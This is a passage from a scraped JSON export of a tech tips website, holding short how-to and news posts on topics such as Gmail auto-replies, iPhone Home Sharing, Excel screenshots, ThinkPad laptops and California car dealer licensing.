a new recording file is created.\n  Step 6:\nThe recorded audio files will automatically save to the Music\u0026gt; AnySoundRecorder folder .\n  Any Sound Recorder has a very simple usage that is not too complicated. The audio recording on the application has additional retouching as you like.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiuthmqqitnpl6s7HCqKmdnaJiwbB50Z6aqKqUYryvedaipZ2np6h6cnw%3D\n","link":"/post/how-to-use-any-sound-recorder-to-record-on-windows-10/","section":"post","tags":null,"title":"How to use Any Sound Recorder to record on Windows 10"},{"body":"Apple has long advertised the benefits of its ecosystem and has proven it can do everything very well. Everything from AirDrop, iCloud to Handoff makes it easier to sync between iOS and macOS. One of them is the use of iPhone as a remote for Apple TV and Apple Music.\nIn today's article, let TipsMake.com learn how to use iPhone as a remote control in macOS.\nThe original way to use iPhone as a remote control A year ago, the original way to use iPhone as a remote for macOS would be completely different. MacOS Mojave is the last Mac software version to use the program that everyone hates, iTunes. With the launch of macOS Catalina, Apple removed iTunes and replaced it with Apple Music and Apple TV. The good news is that using the iPhone as a remote has not disappeared. Just a little different than before.\nBefore you get into the steps, it's important to use the same Apple ID on all your devices if you want to go root. This step is very important, as you will need to enable 'Home Sharing' and only work if all devices are on the same network, using the same Apple ID. If this is not the case, then you can set up everything to control music, movies and TV shows with your iPhone.\nSet up everything on a Mac Unlike previous macOS systems, the Home Sharing feature has been moved to System Preferences. To get there, you need to go to the upper left corner of the screen and click on the Apple icon. Select the 'System Preferences' option. When the 'System Preferences' menu appears, the bottom row of the main options is 'Sharing'. It is a blue folder with a yellow warning logo logo.\nWhen you open that option, you'll see a bunch of services that can be turned on / off. For the purpose of the article, select 'Media Sharing' on the left and then 'Home Sharing'. After clicking on 'Home Sharing' , a prompt will open asking you to enter your Apple ID. It is important that the Apple ID you enter here must be the same as the Apple ID on the iPhone. After the import is complete, click 'Turn On Home Sharing' .\nIPhone setup Apple's Remote app is quite simple and now it's time to download the app. When you open the application for the first time, click Settings near the top right. To control music, go to Settings\u0026gt; Music . To control the music on your computer, the Apple Music application must be open. The media files too.\nTo control whatever media content you have on Apple TV, whether purchased or your own, go to Settings\u0026gt; Accounts\u0026gt; Home Sharing . Again, the same rule applies: The Apple TV app must be open on the computer to work.\nWhen both of these apps are enabled, you are now free to use your iPhone as a remote control. When you open the app each time, you will see a music icon or TV icon taking you to the library. From there, you can pause, play, start and select any existing content to watch or listen to. Very simple!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqqvMeopZ5lkah6onnRnqSorJVisLC606umpWWnnsGpeceopJ5lo52us7XNoA%3D%3D\n","link":"/post/how-to-use-iphone-as-a-remote-control-with-home-sharing/","section":"post","tags":null,"title":"How to use iPhone as a remote control with Home Sharing"},{"body":" To connect a Magic Keyboard to your Mac, iPhone, iPad, or Apple TV, enable Bluetooth and then press the power button on the keyboard. Once the devices pair, the keyboard will be ready to use. Turn on the Magic Keyboard. The power button is...\n Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmmKmonJp6rq3Goppmo5Wur7Ct0Z0%3D\n","link":"/post/how-to-use-the-apple-magic-keyboard/","section":"post","tags":null,"title":"How to Use the Apple Magic Keyboard"},{"body":"Gmail is now one of the most popular mailing and receiving applications in the world. People using Gmail are the primary means of communicating with friends and family or tools to communicate with partners at work. However, you can not always use online to answer every email sent. So the Vacation reply autoresponder feature will help the sender know that we cannot reply to the message and can contact it in another way. In this writing, the network administrator will instruct the user how to set up Vacation reply mode on Gmail.\nStep 1: First of all, you log into your personal Gmail account. At the main interface, click on the gear icon and select Settings .\n  Step 2: In the General interface, we scroll down and select the Vacation responder item. Looking to the side, check the Vacation responder item on to use the autoresponder feature, when we can't reply to the email immediately.\n  Step 3: Next, also at that interface we will enter the start time using autoresponder (Frist day), the title of the automatic message (Subject) and the content of the auto-reply (Message). You should add another contact method in the autoresponder message so that the sender can contact for emergencies.\nIn addition, we can also renew the use of autoresponder messages when selecting Last day and entering the end time there. Automatic reply letters will take effect from 12:00 AM on the start date and end on 11:59 PM of the end date.\n  Step 4: Next, we can select the Only send a response to people in my Contacts option below, to set up this auto-mail content only to those in the contact list. Finally, click Save changes below to save all changes.\n  Step 5: Once you've saved this feature and returned to the main interface on Gmail, we'll see a yellow notification bar at the top of the interface. Click End now to turn off autoresponder, Vactions settings to adjust your reply.\n  This End now button will allow us to cancel automatic answer mode even while it is still in use. Mostly, autoresponder messages will be delivered to the sender in the first email. Messages sent to the Spam section will not receive automated replies.\nWith the Vacation responder feature on Gmail, you won't worry about interrupting urgent tasks even though you can't reply to emails sent by others. If you often use Gmail as a method of exchanging jobs or the only tool to exchange, don't forget to use this feature.\nRefer to the following articles: Instructions to create Group, Email group in Gmail Instructions for switching to Vietnamese language for Gmail Instructions for deleting, changing, adding phone numbers in Gmail I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnToZxmmaWpvLOxz6WwZp6VlsG2vsRmpqdll6Kuqrg%3D\n","link":"/post/instructions-for-using-the-auto-reply-feature-on-gmail/","section":"post","tags":null,"title":"Instructions for using the auto-reply feature on Gmail"},{"body":"Kaspersky has just released a version of the antivirus software of the same name for Apple's Mac OS X operating system. This version is expected to protect Mac OS from threats such as viruses, worms, Trojans and other malicious software such as threatening the two most popular operating systems today are Windows and Linux. Typically, Macs are still the operating system that is the least prone to hackers. However, according to Kaspersky data from 2005 up to now, attacks aimed at vulnerabilities in Mac OS are increasing. ' Mac OS is not outside the current wave of virus and malware attacks, ' said Gun Suk Ling, managing director of Kaspersky Lab Southeast Asia.\n  The version of Kaspersky Anti-Virus for Mac OS has an antivirus database updated from over 20 million malware on different platforms . This application will also be updated every hour to ensure that Mac OS users will be protected from malicious programs that appear daily.\nAlso according to Kaspersky, the version is optimized so that it consumes very little system resources, even when running a virus scanner. Kaspersky Lab said the antivirus engine of this software significantly increased the scanning speed of the system, especially on two and four processor platforms.\nTo prevent malware from migrating from Windows and Unix virtual systems to the working environment, Kaspersky has added the ability to respond to protection on shared folders on the virtual machine - the feature is A lot of personal and business users use it. Kaspersky antivirus software is also upgraded automatically before the computer boots into the operating system environment.\nKaspersky Anti-Virus is compatible with Mac OS X versions from 10.4.11. To install this program, the minimum Mac configuration must be: Intel processor, 512MB RAM, 80GB hard drive .\nncG1vNJzZmismaXArq3KnmWcp51kuKK%2Fz56prKOpYrmiwc2cn56rXZa7tbXVoqmuq12rsrO%2FyKilZp6fp3qurcI%3D\n","link":"/post/kaspersky-launches-antivirus-version-for-mac/","section":"post","tags":null,"title":"Kaspersky launches antivirus version for Mac"},{"body":"In an e-mail, Elon Musk said that, in fact, managers do not create value for the team, sometimes slowing down the pace, pushing back the creativity of employees as well as creating stress for the collective. can.\nManagers are those who directly coordinate their subordinates. However, few people are sympathetic to managers. These people carry out the task of conveying instructions from higher levels to employees and monitoring and inspecting them in the process of performing their assigned tasks. In fact, in essence, management is seen as an intermediary to convey the message, these people do not directly make decisions nor are they the ones who directly do the work proposed by the superiors.\n  According to some statistics, up to 75% of employees quit due to management pressure. And fortunately Elon Musk knows this.\nNot a salary, this is just 8 reasons why good employees quit Bill Gore, co-founder of Gore-Tex, a company worth up to $ 3.3 billion, soon made judgments about his company not having management. In his company there are self-governing groups and chambers, and there seems to be no manager in the entire company.\nIn 1976, he published a brief manuscript describing that all companies could still function better and more effectively without a manager. The unmanaged working model is called Gattice by Gore and this model is responded by many companies and applied to their company.\nGore said that in fact, the managers act as communication tools among the employees in the collective. If the connection method is formed in the company, communication will become simpler and more direct, everything will be improved. In the model that Gore gave, it will be applied as follows: If you need to work with a certain employee, call them directly and talk to them. If you want to ask for a group, go to that group and discuss it directly with them. Teams will work on their own, everyone will be equal, giving their views, there is nothing to be afraid of, so make sure your work is going well.\nGore's Lattice Organization model has no shadow of the managers, the \"bosses\", nor the class of HR classes divided into many levels. Removing management helps employees avoid unnecessary conflicts. Up to now, Gore's Lattice Organization model has been applied to hundreds and thousands of large and small companies around the world.\nAfter Gore is Elon Musk\n  \nAfter learning of Gore's Lattice model, Elon Musk also agreed with Gore, in his recent email to the entire Tesla staff he said: \"the manager does not bring any value to the team. , even slowing down the progress of everything: Below is the content of your email \":\n\"There are currently two streams of thinking about how information should be transferred inside Tesla. The most common way is to command strings, meaning that information is always transmitted through managers and bosses. The problem with this approach, is that it only heightens the responsibility of managers while it does nothing to help the company.\nTo solve this problem quickly, two people in different departments should talk directly and do everything. Currently, people who have problems often contact their managers directly, then the manager will transfer the words to the higher level, the superior moves to another department and then moves on to the subordinates. It's very silly, all managers are doing it this way or cheering for it, so finding new jobs is just right.\nAll people working at Tesla can and should email / talk directly to the person they need to solve the problem quickly and benefit the whole team.\nYou can talk directly to your manager's manager without anyone's permission, you can talk to the deputy director at another segment, you can talk to me, you can talk For anyone, there's no need for anyone's permission. In addition, you should do it a lot until the right things appear. The bottom line is that we have to do everything fast, very well. We cannot compete with other car manufacturers in terms of personnel size, model, so we have to do it with intelligence and flexibility.\nAnd the final point is that those who are managing make more efforts, do not create a way of thinking \"competing bosses with employees\" or hinder communication at work. This is a natural way of thinking and needs to be pushed back. How can we make Tesla better if we create barriers within ourselves?\nWe are on the same boat. Always shape that you are doing good for the collective, not a burden.\nThank you, Elon. \"\nAs Elon Musk says and Gore illustrates, the leadership model used as communication tools is very wrong. But now there are many companies that make that mistake, allowing it to slow down everything inside and then to work to repress, the effect goes backwards while the power of those who manage is more and more rising. Management does not create value, slow progress and regress development, why do people still keep?\nElon Musk himself warned that people who interfered with others should be fired immediately. Isn't that the core, the things that management or do: \"interfere with other people's work\"?\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCcpp2eqXqqv4yaZKaho6murLGMmmSwmaKjtq%2BzjJ%2BpqKVdmrmwuoymrKyjXam8bq3LpWScp52lrq%2B1xKw%3D\n","link":"/post/management-is-a-mistake-a-warning-from-elon-musk-to-all-companies/","section":"post","tags":null,"title":"Management is a mistake, a warning from Elon Musk to all companies"},{"body":"At a recent Chrome Dev Summit in San Francisco, Google revealed plans to attach a 'shame badge' to slow-loading pages on Chrome so users can tell which sites load quickly or download. slow.\nOn its blog, the Chrome development team says it will test different options to determine which one offers the best value to users.\n  To determine which sites load slowly, Google will analyze the history of page load delays and slow loading time errors. Once determined, Google will assign 'slow loading badges' to them. In addition, the Chrome development team is also looking to identify slow loading websites based on network connectivity or device hardware.\nCurrently, Google is testing a warning that Chrome users through the screen or the download bar will appear green if a webpage loads quickly, if it loads slowly, it may be red.\nCurrently, Google has not yet announced the exact time when this new badge system will appear in Chrome.\nAt the conference, Google also revealed the future development direction of Chrome. It seems that Google has focused on progressive web applications (PWAs) and WebAssugging to bring more powerful web applications and more native-like applications.\nYouTube will remove accounts that are not 'commercially viable' since December 10 3 common mistakes when searching on Google prevent you from getting the best results Changes in Windows 10 19H2 coming soon, should an upgrade? ncG1vNJzZmismaXArq3KnmWcp51kwK271majqJmUnruoedKiq56rXay2rbiMoJytZZFiwKmtzJ5km5mUnLJurthmnqinl6Gy\n","link":"/post/slow-loading-sites-will-get-a-shame-badge-by-google/","section":"post","tags":null,"title":"Slow loading sites will get a 'shame badge' by Google."},{"body":"Screenshot Screenshot is a new feature from Excel 2010, you can take and edit screenshots quickly on Excel without any screen capture software.\n  The article is about taking and editing screenshots with Screenshot in Excel 2010, and you are working similarly with Excel 2013.\nTake photos If you want to take a picture of what you need to open the program, the application first, then the program will be updated into Screenshot.\nMethod 1: On the menu bar of excel you select the Insert tab -\u0026gt; Screenshot you will see all the opened programs are displayed. You just need to select the image you want to capture as that image is displayed in excel.\n  Photos will be displayed in the excel content you can move to the position you want.\n  Method 2: You can capture image area by selecting Insert -\u0026gt; Screenshot -\u0026gt; Screen Clipping .\nNow the mouse cursor is in the form of + sign with white screen and active programs, you drag the mouse cursor to select the area you want to capture. When you have finished selecting, release the mouse button and the image you select will be displayed in excel.\n  Edit the image just taken Microsoft Excel gives you lots of tools to edit the photo in the Format of Picture Tools .\n- To crop the image: You select the image you want in Picture Styles .\n  - Create borders for images: In the format you select Picture Border and select the color for the border (Colors) and the size of the border (Weight), the type of border (Dashes).\n  - Create 3D effects: In Format you select Picture Effects and select the effects you want.\n  So you can take screenshots simply and quickly with the Screenshot feature in Excel. You can edit and move images to any position you want in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwaK3xGaYp5xdmrGqwIypn6isn6h6uLXToWSsm6Kasq%2B%2Fx6irZqGeYrK5r8Sl\n","link":"/post/take-and-edit-photos-with-screenshot-in-excel/","section":"post","tags":null,"title":"Take and edit photos with Screenshot in Excel"},{"body":"China Electronics Group has launched ThinkPad Z series notebooks with two models: Z60t and Z60m. In addition to the traditional black casing, the ThinkPad for the first time has a \"Titanium\" coat - expected to bring new life to \"mobile\" entrepreneurs.\nThinkPad Z60m. The ThinkPad Z60m is equipped with a 15.4-inch screen, which allows information to be viewed at a 30% wider viewing angle than the current 15-inch XGA display.At a weight of 2.8 kg, the product uses Intel's 2.13 GHz Intel Pentium M processor;Microsoft Windows XP Home Edition or Professional operating system;100 GB hard drive 5,400 rpm;512 MB DDR SDRAM and can be upgraded to 2 GB;CD-RW / DVD Combo drive;Gigabit Ethernet Modem . The Z60m model uses Li-thium batteries with a continuous use of 4 to 6 hours.\nAt 28 mm thick and weighing only 2.1 kg, the ThinkPad Z60t is considered to be the lightest and thinnest laptop in the ThinkPad Z series.Equipped with a 14-inch screen, the Z60t enables information display with wide viewing angles.\nThinkPad Z60t. Some of the Z60t's improved features include hotkeys and support for multiple ports so that users can easily upload photos and digital video clips.\nZ60t uses Intel Pentium M 760 processor 2.0 GHz (2 MB L2 Cache, 533 MHz FSB);512 MB DDR SDRAM can upgrade to 2 GB;100 GB hard drive 5,400 rpm;CD-RW / DVD Combo drive;3 USB 2.0 ports;Microsoft Windows XP Professional operating system . Model with Li-thium battery with continuous operation time of 4 hours.\nBoth products are sold globally since mid-October. The expected price of the Z60t is $ 2,399 and the Z60m is $ 2,499.\nThinkPad Z60m and Z60t at the launch in Singapore. Continuing to inherit IBM's ThinkVantage technology since Lenovo acquired the US computer group's PC manufacturing division, the ThinkPad Z60 series is more robust in a simple and compact design.The two Z60t and Z60m models are equipped with the latest ThinkVantage Client Security Solution, allowing users to recover their passwords, while supporting disk encryption, updating password management software and system. security system.\n'Today, technology is constantly improved to meet the needs of users, especially those who often have to move, to be able to make good use of their time at work as well as at leisure, entertainment.The ThinkPad Z60 is considered a multi-functional notebook with high security and long battery life, \"said Howie Lau, Lenovo's general manager in Singapore.\nKoh Kong Meng, Marketing Manager of Lenovo in South Asia and Southeast Asia, said the company will soon work with Vietnamese partners such as FPT, Digiland . to distribute its ThinkPad laptops. in this market.\nAfter owning the computer manufacturing department from IBM, Lenovo has risen to become the world's third-largest personal computer manufacturing company with an annual turnover of approximately $ 13 billion.The company currently has large research centers in Yamato (Japan), Beijing, Shanghai and Shenzhen (China), Raleigh, North Carolina (USA).\nDieu Anh\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaSnmpxdr4Nxecuepaiun6h6qrrNqK2arJmkuw%3D%3D\n","link":"/post/thinkpad-z60-lenovo-s-innovation/","section":"post","tags":null,"title":"ThinkPad Z60 - Lenovo's innovation"},{"body":"RIO hair removal machine is an indispensable beauty product for women with long hair and long legs. However, do not know where RIO hair removal machine comes from, is it safe and durable?\nRIO hair removal machine - Brand from England RIO is a brand specializing in producing beauty products from England such as foot massage basin, water toothpick machine, facial steam machine. Especially, RIO hair removal machine is trusted by women.\nTypical is the personal hair removal machine RIO IPHH IPL.\n  Is the personal hair removal machine RIO IPHH IPL good? 1. Advantages of RIO hair removal machine using IPL technology RIO hair removal machine is used to ensure safety, without causing skin irritation\nWhen using hair removal machine, it will emit high intensity pulses of light through the skin to shine into the hair follicles, so it does not affect the skin, it does not cause burning pain but only works to destroy the original hair follicles just bring The effect of hair removal is high but it is safe. Absolute light pulses are not harmful to health.\nIPL technology does not cause irritation, redness, so it can be used to remove bikini, armpit, and facial area.\n  IPL technology brings high hair removal effect:\nWhen hair removal by RIO hair removal machine, hair will grow longer, hair will grow thin and lighter color, and look unclear.\nRIO IPHH IPL does not cause side effects for many subjects\nThere is no evidence that RIO hair removal is harmful to health. It can remove hard hair (like beard), remove soft hair, short hair, long hair, so it can be used for both men and women.\n2. Outstanding features of RIO hair removal machine Thoroughly eliminates hair on most body hair areas\nRIO IPHH IPL personal hair removal machine can remove hair, hair, armpit hair, bikini hair and facial hair will meet many purposes for users.\nBefore using it, shave the hair in the area to be removed first. Hair removal time for each region is as follows:\nHalf-leg: 8 - 10 minutes in common mode.\nLegs: 15 minutes in common mode. Bikini area: 2 minutes in intensive mode. Armpit area: 1 minute in intensive mode. For face area:\nEach flash of the lamp must be separated by at least 5 seconds. Never use more than 10 minutes at a time. Do not look at the Flash during the thorough process. Do not use on eyelashes, hair, eyebrows. Do not thoroughly surround the eye area or lips.   Video tutorial of using personal hair removal machine RIO IPHH IPL A lot of light pulses\nCompared with home hair removal machines, RIO hair removal machine has many times more light pulses, the number of pulses up to 200,000 shots should be used longer to replace the pulse head. Sufficient amount of pulse until you remove the hair.\nEffective use only after 4 - 6 weeks\nHair removal after 4 - 6 weeks with an RIO machine will notice a clear effect: the hair is gradually removed and gradually disappears.\nTime of use: once a week, after 4-6 weeks without seeing the hair grow back, do not use the machine.\nIt is possible to select the appropriate power level and hair removal mode\nRIO hair removal machine has 5 power levels suitable for each hair area to be thoroughly. There are 2 modes of hair removal suitable for each skin type to bring high hair removal effect.\n3. Buy RIO hair removal machine where genuine, ensure quality Genuine RIO hair removal machine will be imported directly from the UK and 24 months warranty. Also need to choose reputable selling places. You can refer to a very reliable genuine sales address that is META.vn.\nYou can call META by number: in Hanoi: 024.3568.6969 or Ho Chi Minh: 028.3833.3366 for more advice about products.\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFknKelo8GzxYyiqmaqmaR6qa3Iq2SrnZ2kw6K4jKaYnKCZo7JutdJmq6GZpGK0sLvD\n","link":"/post/which-country-is-rio-hair-removal-machine-is-that-good/","section":"post","tags":null,"title":"Which country is RIO hair removal machine? Is that good?"},{"body":"When technology is constantly evolving, owning a website is no longer a strange thing. Even if your needs are just simple to create a website for online business, small-scale with a family company or with a large-scale company, it is extremely important to start building the website. important. Currently there are some website building tools for you to design your website such as Stash, Cloudpress Template .\nIf users are not knowledgeable as well as have no experience in building websites, they can look to professional website design companies. Based on the purpose of building the website, the content that each customer wants to show on his website, these companies will create a page interface that fully meets your needs. The following article will synthesize several website design companies in Vietnam.\n10 best free HTML editing tools for Windows 2018 Top 7 UX design tools, leading UI 10 impressive design tools need to try now Instructions for creating a website for beginners Top quality website design companies 1. DIGIWEB\nhttps://digiweb.vn/ The criteria of DIGIWEB is to design SEO standard website, quickly and at the most reasonable price for customers. From DIGISTAR company specializing in providing Hosting, domain name, server, . DIGIWEB already owns a solid infrastructure. Coming to DIGIWEB, users are served with full-service website design services with beautiful, unique and creative interfaces of your choice.\n  Customers will have 3 packages of website design packages, with different options and costs. So customers are easier to choose design packages. DIGIWEB will hand over the source code to customers to manage and develop their website. All the source code of the website is installed with Plugin to support SEO, increasing the time to show content on Google right after publishing the article. Issues related to the article management or comment system are also focused on DIGIWEB.\nContact:\nDIGISTAR Company - 85 Nguyen Trong Tuyen - Ward 15 - Phu Nhuan District - Ho Chi Minh City. Phone: 1900,6019. Email: kinhdoanh@digistar.vn.   2. SkyVietnam\nhttps://skyvietnam.com.vn/ SkyVietnam offers many different services such as SEO, Hosting, Digital Marketing, domain names, including website design. SkyVietnam brings beautiful, unique and creative website design services. Each type of website design has full of management content, suitable for each business. The company serves design in all areas from education, sales, business, . or designed according to customer requirements. With each request to create each customer's own website, SkyVietnam's design team will create the most appropriate and standard SEO website interfaces, ensuring quality for customers.\nContact:\nSKY Vietnam Company - Head office: 6th Floor - No. 210 Trung Kinh Street - Cau Giay District - Hanoi. Phone: 0246.259.4245 - Hotline: 0915.037.301. Email: sale@skyvietnam.com.vn. Northern web design: sale@skyvietnam.com.vn - 0969.63.2018. Southern web design: tuanta@skyvietnam.com.vn - 0915.037.301. Central web design: info@skyvietnam.com.vn - 0969.63.2018.   3. Trust.vn\nhttp://www.thietkeweb.com/ With nearly 15 years of experience in the field of website design, more than 2500 customers, Trust.vn is currently the destination of many domestic and foreign customers who need to create their own website. Trust.vn offers different industries for customers to choose, thereby designing website interfaces according to such industries as hotels, e-commerce, beauty, restaurants, . Website design projects on Trust.vn is highly appreciated, PHP hand code combined with CSS and JS libraries, website loading speed is very fast, SEO standard.\nContact:\nIn the South:\nWeb Design Company Limited. Working time: Morning from 8:00 to 12:00, afternoon from 13:30 to 17:30 (except Sundays and holidays). Address: 17 Nguyen Duc Thuan - P.13, Q.Tan Binh or 11/2 Nguyen Duc Thuan - P13. Tan Binh district. Email: kinhdoanh@thietkeweb.com. Phone: (028) 22.468.357 - 0903.976.769. In the North:\nVINALINK MEDIA JSC. Address: 85 Vuong Thua Vu - Thanh Xuan - Hanoi Phone: (04) 39.726.746 - 397.267.47   4. Bluesky\nhttps://www.bluesky.vn/ Bluesky is a professional web design company in Hanoi with a relatively young age, but has a team of enthusiastic, young, passionate about information technology and knowledgeable about website design as well as technology.\n  Bluesky provides various website interfaces in many different industries, hotels, businesses, tourism, education, etc. Right on Bluesky's interface, customers can immediately choose beautiful website designs, or make your own requests for the Bluesky staff to design. All websites with their own requirements are selected to be made entirely in Flash, creating aesthetic as well as professional level.\nContact:\nBlue Sky Trading and Service Joint Stock Company. Address: Số 128 ngõ Xã Đàn 2 - Nam Đồng - Đống Đa - Hà Nội, Office: 3rd Floor - No. 28B Alley 66 Thai Thinh 2 Street - Dong Da - Hanoi. Phone: (04) 39. 9595. 36 - (04) 35.627.732 / Fax: (04) 39.954.377.   5. SAPO\nhttps://www.sapo.vn/ Sapo's predecessor was a sales channel but later added a website design service, building its own source code Bizweb. The customers that Sapo mainly aims to be e-commerce sites with different scales for more than 30 different professions. Especially web interfaces designed with Responsive technology should display optimally on any device.\n  Sales websites designed by Sapo are integrated live chat software such as Zopim, Subiz, . to chat right between shop owners and customers. The websites are designed with optimal support for SEO on each category, each product detail page.\nContact:\nSAPO Technology Joint Stock Company (SAPO TECHNOLOGY JSC). Headquarters: 6th Floor - Ladeco Building - 266 Doi Can - Lieu Giai Ward - Ba Dinh District - Hanoi. Branch 1: 3rd Floor - Lu Gia Building - No. 70 Lu Gia - Ward 15 - District 11 - Ho Chi Minh City. Branch 2: 2nd Floor, Số 14-16-18 Nguyễn Văn Linh - Phường Nam Dương - Hải Châu District - Đà Nẵng City. Branch 3: Tecco C Building - Quang Trung Street - Quang Trung Ward - Vinh City - Nghe An Province. Service advice: 1800.6750. Customer support: 1900.6750. Email: support@sapo.vn. Working time: From 8:00 to 22:00 on the days from Monday to Sunday. 6. Chili.vn\nhttps://www.chili.vn/ Chili brings website design services to businesses, owns many modern web design interface templates, full of functions for customers to edit as desired. Chili's website design service includes 3 main categories: business web, sales web and landing page.\nChili's team always supports customers to design banners, manage websites to operate and control all content in the website quickly.\nContact:\nSouthern sales office\nM Office - 54 Road C1 - P.13 - Tan Binh District - Ho Chi Minh City. Hotline: 028.777.779.99 Northern sales office\n8th floor - Building 381 Doi Can - Ba Dinh - Hanoi Hotline: 024.777.779.99   Above are some reputable website design companies in Vietnam. Each company has its own strengths in the design, as well as the field towards. Customers should look first and call for advice.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kg264xJqboqaXYsSmrtKiq55llJrAqrPNZpqopaCWu6qx0magp2WmnrK1usCm\n","link":"/post/6-leading-website-design-companies-in-vietnam/","section":"post","tags":null,"title":"6 leading website design companies in Vietnam"},{"body":"Surely any one of us has encountered a bit of 'jagged' video display when you watched it on a mobile device. Irritability and annoyance are probably the feelings that appear immediately, but you still have to accept and watch the video because you simply can't do anything else.\nTo address this seemingly small but significant user experience, Google's AI research team has successfully developed an open source solution called Autoflip, which can automatically fine-tune videos so that Suitable for certain devices or screen sizes according to different modes, such as landscape, square, portrait .\n  Basically, Autoflip operates in three main stages: scene detection, video content analysis, and finally fine-tuning.\nAt the scene detection stage, the machine learning model will pay close attention to the point before cutting or jumping from one scene to another. As a result, it is possible to compare a frame with the previous one to detect changes in color and associated elements.\n  After identifying a scene as a standard, the AI ​​model will switch to video content analysis to identify important objects in a scene. To do so, Autoflip will use a deep learning neural network to help it identify not only objects appearing in the scene, such as people, animals, vehicles, trees. . but also the movement as well as the moving state of the object.\nIn the final stage, the AI ​​model will determine whether it should use stationary mode for scenes taking place in a single space or tracking mode as the objects of interest are constantly moving. Based on this factor and the target size that the video needs to be displayed, Autoflip will cut the display frame to ensure smoothness and especially retain full of interesting content.\n  Google AI researchers say Autoflip can be used to convert videos to a variety of screen sizes and formats without human intervention. At the next stage, the team wants to improve subject tracking in Autoflip interviews and cartoons. To do this, the AI ​​model needs to be equipped with text and image blur detection techniques to place the subject in the foreground and background in a better frame.\nYou can refer to the code of Autoflip code HERE.\nncG1vNJzZmismaXArq3KnmWcp51krrbAzp%2BjoqhdnLyws8ueqmamlax6orWMpqadnZxisKK6jJysrKyfora7sYyvoJ2dn6h6uLXToWSapqliwKS%2BxJ6lZquZr7I%3D\n","link":"/post/autoflip-google-s-new-ai-model-can-customize-videos-with-any-screen-size/","section":"post","tags":null,"title":"Autoflip, Google's new AI model, can customize videos with any screen size"},{"body":" There are three ways to can buy and sell cars in California. You can operate as a wholesaler, who purchases cars from auctions and sells them to car dealers. You can operate as a retailer, who buys cars from auctions and dealers and sells...\nMethod 1of 7:\nGetting Started  Decide if you need a license. If you're just selling your own used car you don't need a license. However, if you're going to be buying and selling cars for the purpose of making a profit, you'll need a license from the DMV. Selling cars for profit without a license in CA is illegal. This activity is called 'curbstoning' and can involved hefty fines if you're caught.[1] If you're unsure of whether your situation requires a license, contact the DMV. CA has been cracking down on curbstoners in the last few years.[2]   Decide if you want to be a wholesale dealer or a retail dealer. The main distinctions are whether you will be selling cars directly to the public and whether you need to have retail space. The same paperwork is required for obtaining a wholesale dealer license or a retail dealer license.[3] A wholesale dealer is able to buy cars directly from other dealer and sell them to other dealers. A wholesale dealer may also export cars to other countries. However, a wholesale dealer may not sell directly to the public. A wholesale dealer needs to have an office but doesn't need to have a sign or a space for displaying vehicles. [4] A retail dealer can buy cars directly from dealers and sell them to other dealers and to the public. A retail dealer may also export cars to other countries. A retail detail needs an office, a sign, and a space for displaying vehicles. [5]   Decide if you want to add an auto broker endorsement to your license. An auto-broker endorsement allows you act as a middleman between buyers and sellers. You can add an auto-broker endorsement to either a wholesale dealer license or a retail dealer license.[6] As a wholesaler dealer, having an auto broker endorsement is the only way to sell directly to the public.[7] No additional paperwork is required to get an auto-broker endorsement. You just have a check a box on your licensing application.[8]  Method 3of 7:\nSetting Up Your Business  Create a fictitious business name. Unless you'll be doing business under your own name, you need to create and register a name for your business. Go to your local County Recorder's office to file the paperwork. The fee is $100.[15]\n  Apply for a business license. Go to your local Town Hall and ask to speak with the tax and license division. Using your own name or the fictitious business name you created, register your business with the city. There many options for registering your business. You can register an LLC, a corporation, a partnership, or any number of other business entities. It's best to talk to a lawyer before deciding what kind of entity you want your business to be. The cost of your business license will vary by city, what kind of entity you set up, and your annual revenue.[16]   Get a surety bond. Find a bonding company in California and purchase the required $50,000 surety bond.[17] A surety bond ensures that you will meet your obligations as a car dealer. The cost of surety bonds depends on your credit, but you can expect to pay around $1,000 to $15,000 per year.[18]  Method 4of 7:\nSetting Up to Be a Wholesale Dealer  Decide if you want to work out of your home or another space. A wholesale dealership can be run entirely from your home. However, if you don't have space for an office in your home you'll need to lease or purchase a space.\n  Set up an office. Remember, it's OK for it to be a home office.[19] You don't need a sign or space for a car to be a wholesale dealer.[20]   Obtain a copy of your lease. You'll need a copy of your lease if you rent your office. If you own your office, a copy of your mortgage is required.[21]\n Method 5of 7:\nSetting Up to Be a Retail Dealer  Set up an office. It's OK for it to be a home office. However, since you also need a retail space to be a retail dealer, it makes more sense for the office and retail space to be in the same location.[22]\n  Get a sign that is at least two square feet. Since you'll be selling to the public, the DMV requires you to have a sign that advertises yourself as a car dealer.[23]\n  Have a space that is big enough for at least two cars. Since you're going to be selling cars directly to the public, you need a space to keep the cars. The DMV requires you to have enough space for at least two cars, but of course you can have much more space than that.[24]\n  Obtain a copy of your lease. You'll need a copy of your lease if you rent your space. If you own your space, a copy of your mortgage is required.[25]\n Method 6of 7:\nSetting Up to Be An Auto Broker  Obtain either a wholesale dealer license or a retail dealer license. An auto broker endorsement is an add-on to your license, so you need a license before you can become a broker.[26]\n  Set up an office. If you're adding the broker endorsement to your wholesale dealer license you can use a home office.[27]\n  Get a sign that is at least two square feet. If you're adding the broker endorsement to your retail dealer license, you'll need a retail space that can fit at least two cars.[28]\n  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqVmLyusYyaZJyZomKxpq3LnqlmoZ5isKK4yJ%2Bmq6aZlg%3D%3D\n","link":"/post/how-to-become-a-car-dealer-in-california/","section":"post","tags":null,"title":"How to Become a Car Dealer in California"},{"body":"Dead spots on the screen will be unusual light trails, small spots appear on the screen. There, colors cannot be displayed, unlike the entire display on the laptop screen. This will cause a sense of discomfort to the eyes of users, especially those who use computers to design graphics will affect the eyes.\nTo help you check if the screen has many dead spots, Network Administrator introduces you to the professional software Dead Pixel Locator. The advantage of the program is extremely compact, especially using modern tools to check dead spots for both LCD and Plasma screens. As soon as the program is installed and checked, if the computer has a dead spot, the program will display the screen in turn in standard colors, displaying dead pixels with colors different from the background color. The article will introduce you to some screen death test 